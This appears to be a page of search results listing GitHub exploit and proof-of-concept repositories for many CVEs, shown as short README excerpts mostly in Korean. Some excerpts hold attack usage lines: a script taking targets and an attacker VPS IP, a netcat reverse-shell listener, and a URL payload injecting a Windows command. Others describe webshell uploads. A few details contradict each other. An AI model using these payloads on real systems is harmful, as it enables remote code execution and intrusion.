309695 matches found
CVE-2024-21413
CVE-2024-21413 | Microsoft Outlook リモートコード実行脆弱性 PoC 🚀 使用方法 このスクリプトを使用する前に、ターゲットシステムの所有者から適切な許可と承認を得ていることを確認してください。 前提条件 Python 3.x impacket-smbserver 使用例 sudo python3 CVE-2024-21413.py 🛠️ 機能 メール送信: SMTPを使用して、プレーンテキストとHTMLパートの両方を含むメールを送信します。 HTMLテンプレート:...
CVE-2024-56145-craftcms-rce
스크립트를 다시 실행하기 전에 다음을 수행하세요: fuser -k 6666/tcp 사용법 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 사용자 정의 명령어는 다음과 같이 사용할 수 있습니다: python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i는 당신의 IP 또는 VPS IP입니다 ipconfig / ifconfig를 통해 확인. 예시: python3 poc.py -f targets.txt -i 165.22.104.140...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 명령 삽입command injection. pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. 참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다. PoC HTTP 서버 시작 python3 -m http.server 80 netcat 리스너 시작 nc -nlvp 4444 CURL로 요청...
sunlogin_rce
서문 별로 할 말은 없고, 바로 도구와 취약한 버전을 올립니다. 로컬에서 테스트해보시면 좋고, 불법 테스트에 사용하지 마세요. 테스트한向日葵 클라이언트 취약 버전: 11.0.0.33162 취약한 클라이언트는 소스 코드에 포함되어 있습니다. 포트 스캔은 다음을 사용했습니다: https://github.com/jboursiquot/portscan 취약 버전 피드백 기반 11.1.1 10.3.0.27372 11.0.0.33162 명령어 설명 -h 대상 지정 -t 스캔 또는 명령 실행 선택 기본값: scan -p 스캔 포트 범위 설정...
cve-2020-8165-demo
CVE-2020-8165 데모 대부분보다 더 현실적인 구현의 CVE-2020-8165 데모입니다. 배경 CVE-2020-8165 Rails 5.2.4.3, rails 6.0.3.1에 신뢰할 수 없는 데이터 역직렬화 취약점이 존재하여, 공격자가 MemCacheStore 및 RedisCacheStore에서 사용자 제공 객체를 역마샬unmarshal하여 잠재적으로 RCE를 발생시킬 수 있습니다. 참고 자료 https://hackerone.com/reports/413388...
CVE-2017-0199-v5.0
익스플로잇 툴킷 CVE-2017-0199 - v5.0 익스플로잇 툴킷 CVE-2017-0199 - v5.0은 침투 테스터와 보안 연구원이 Microsoft Office RCE를 신속하고 효과적으로 테스트할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF/PPSX 파일을 생성하고 metasploit / meterpreter / 기타 페이로드를 피해자에게 전달할 수 있습니다. 면책 조항 이 프로그램은 오직 교육 목적으로만 사용하십시오. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 이...
POC-CVE-2025-24813
CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813를 악용하는 개념 증명PoC 코드로, Apache Tomcat의 원격 코드 실행RCE 취약점입니다. 이 취약점을 통해 공격자는 악성 직렬화 페이로드를 서버에 업로드할 수 있으며, 특정 조건이 충족되면 역직렬화를 통해 임의 코드 실행으로 이어집니다. 설명 CVE-2025-24813 은 업로드된 세션 파일의 부적절한 처리와 역직렬화 메커니즘을 이용하는 Apache Tomcat의 이론적 RCE 취약점입니다. 공격자는 쓰기 가능한 디렉터리예:...
CVE-2015-8299
knAx20150101 제목: KNX 관리 소프트웨어 ETS의 원격 코드 실행 취약점 분류/요약: 버퍼 오버플로우 취약점 제품: ETS Engineering Tool Software 영향을 받는 버전: ETS 4.1.5 빌드 3246 다른 버전은 테스트되지 않음 수정된 버전: 알 수 없음 벤더: KNX Association 영향: 심각 CVE 번호: CVE-2015-8299 타임라인 2013-10-11 취약점 식별 2013-10-?? 1차 벤더 연락, 벤더 응답 없음 2013-07-30 2차 벤더 연락, 벤더 응답 없음...
dubbo-rce
CVE-2023-23638 학습 및 연구 목적으로만 제공 ZooKeeper는 별도로 준비 필요 테스트 환경은 Java 8이며, 다른 버전은 테스트되지 않았고, 사용 가능성을 보장하지 않습니다. 재현 시 DemoConsumer에 VM 매개변수를 추가해야 합니다: -Ddubbo.hessian.allowNonSerializable=true, 자세한 내용은 https://su18.org/post/hessian/serializable를 참조하세요. 분석 글:...
CVE-2020-14883
http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...
CVE-2024-21413
CVE-2024-21413 이 스크립트는 CVE-2024-21413의 개념 증명PoC입니다. 이 취약점은 Microsoft Windows Outlook에서 발견된 중요한 보안 취약점으로, CVSS 점수 9.8의 심각한 등급을 가지고 있습니다. MonikerLink 버그로 명명된 이 취약점은 공격자가 피해자의 머신에서 원격으로 임의 코드를 실행할 수 있게 하여 완전한 RCE가 됩니다...
CVE-2025-53770
Divine Absolute - CVE-2025-53770 익스플로잇 도구 개요 Divine Absolute 는 CVE-2025-53770 을 표적으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다. 이 취약점은 온프레미스 Microsoft SharePoint Server2016, 2019, Subscription Edition에서 발생하는 치명적인CVSS 9.8 인증되지 않은 원격 코드 실행RCE 취약점입니다. 2025년 7월 19일 제로데이로 공개된 이 취약점은 /layouts/15/ToolPane.aspx에서...
CVE-2019-11395
CVE-2019-11395 익스플로잇 🛡️ CVE-2019-11395 정보 🕵️ CVE-2019-11395 취약점은 MailCarrier 2.51 이메일 애플리케이션의 버퍼 오버플로 취약점으로, 원격 코드 실행을 허용합니다. 이 취약점은 SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP 또는 POP3 RETR 프로세스에서 발생합니다. 학술 연구 과정에서 PoCProof of Concept를 제작하기 위해 POP3 프로세스에 초점을 맞추었습니다. 애플리케이션에 6000바이트를 전송하면 작동이 중지되어...
CVE-2024-29399
CVE-2024-29399 취약점 상세 정보 개요 Savane v3.13 및 이전 버전에서는 업로드된 파일에 대한 검증 부재로 인해 권한 상승이 발생할 수 있습니다. 설치 지침에 따라 구성된 웹 서버는 XSSCross-Site Scripting에 취약합니다. 잘못 구성된 웹 서버에서는 이로 인해 RCERemote Code Execution로 이어질 수 있습니다. CWE 분류: CWE-434: 위험한 유형의 파일 무제한 업로드 보고자: Ally Petitt 영향을 받는 제품 : Savane 영향을 받는 버전 : 3.13 및 이전...
Joomla_CVE_2026_48907
MASTA CVE-2026-48907 스캐너 Joomla! JCE Editor !CAUTION 🚨 면책 조항 — 사용 전 반드시 읽어 주십시오 이 도구는 침투 보안 테스트 도구입니다. 이 도구는 승인된 보안 평가 목적으로만 사용해야 합니다. 귀하가 소유하지 않거나 테스트에 대한 서면 허가를 받지 않은 시스템을 스캔하는 것은 대부분의 국가에서 불법입니다. 저자Hussein Mohamed masta ghimau는 이 도구의 사용으로 인해 발생하는 모든 오용, 손해, 법적 조치 또는 데이터 손실에 대해 절대적인 책임을 지지 않습니다...
CVE-2026-21858
CVE-2026-21858 RCE Form Trigger 워크플로와 익스플로잇 스크립트를 포함한 n8n 1.120.4용 PoC 환경입니다. 요구 사항 Docker Windows의 경우 Docker Desktop Python 3.x 공격 측 파일 Dockerfile — 취약한 n8n 환경 빌드 run.bat — 컨테이너 실행 Windows workflow.txt — n8n 워크플로 Form Trigger 포함 poc.py — PoC 스크립트 requirements.txt — PoC 의존성 환경 설정 1. Docker 이미지 빌드...
CVE-2015-1635-POC
️⃣ CVE-2015-1635-POC HTTP.sys의 원격 코드 실행 MS15-034...
PageMyadmin_file_upload_getshell
이 저장소에는 README가 없습니다...
cve-2020-0688-webshell-upload-technique
Exchange 원격 코드 실행 CVE-2020-0688 - RED TEAM MODE ON 필요: python3+ UNIVERSAL CVE-2020-0688에 대한 Python 구현, ASPX 웹쉘을 사용하여 사용자 정의 명령 출력 이것은 보안상의 이유로 취약점 시연을 용이하게 하기 위한 POC일 뿐입니다. 저는 모든 불법적인 행위를 반대하며, 이 스크립트로 인해 발생하는 모든 행위에 대해 책임을 지지 않습니다...